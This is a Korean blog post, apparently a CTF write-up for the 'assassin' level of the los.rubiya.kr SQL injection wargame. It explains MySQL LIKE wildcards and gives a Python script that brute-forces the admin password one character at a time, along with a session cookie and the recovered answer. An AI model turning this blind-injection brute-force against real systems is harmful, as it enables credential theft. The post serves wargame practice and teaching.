본문 바로가기
CTF_/los.rubiya.kr

[los.rubiya.kr] assassin #15

by 낭람_ 2018. 9. 17.
반응형

[assassin]




이 문제는 큰따옴표를 우회를 하지 못하기 때문에 mysql에서 문자열을 검색할때 이용하는 %를 이용하여 풀면된다.

예를 들어 a로시작하는 문자를 찾고싶으면 a%를

ex) select * from table where name like 'a%';

중간에 a가 들어가는 문자를 찾고싶으면 %a%를

ex) select * from table where name like '%a%';

마지막문자가 a인 문자를 찾고싶으면 %a를 문자열로 입력하면 된다.

ex) select * from table where name like '%a';

즉, 우리는 비밀번호를 찾기 위해서 pw=0%부터 pw=z% 까지 입력을 하면서

Hello guest 또는 Hello admin이 뜨는 것을 찾으면 된다.

직접 일일히 하기는 힘들기 때문에 파이썬으로 코딩해서 문제를 풀면 된다.


import requests

password=''
for admin_len in range(99) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/assassin_14a1fd552c61c60f034879e5d4171373.php'
query={'pw': str(password)+chr(admin_pass)+'%'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'dvv1a14ive5r25trh8iuri40u3'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text or "Hello guest" in res.text):
password=password+chr(admin_pass)
print(password)
break


(비밀번호의 길이를 구하는 방법을 아직 찾지 못해 99로 잡았다.)

위의 파이썬을 실행시키면 '902EFD10'가 나온다.



반응형

'CTF_ > los.rubiya.kr' 카테고리의 다른 글

[los.rubiya.kr] succubus #17  (0) 2018.09.26
[los.rubiya.kr] zombie_assassin #16  (0) 2018.09.19
[los.rubiya.kr] giant #14  (0) 2018.09.12
[los.rubiya.kr] bugbear #13  (0) 2018.08.28
[los.rubiya.kr] darkknight #12  (0) 2018.08.26

댓글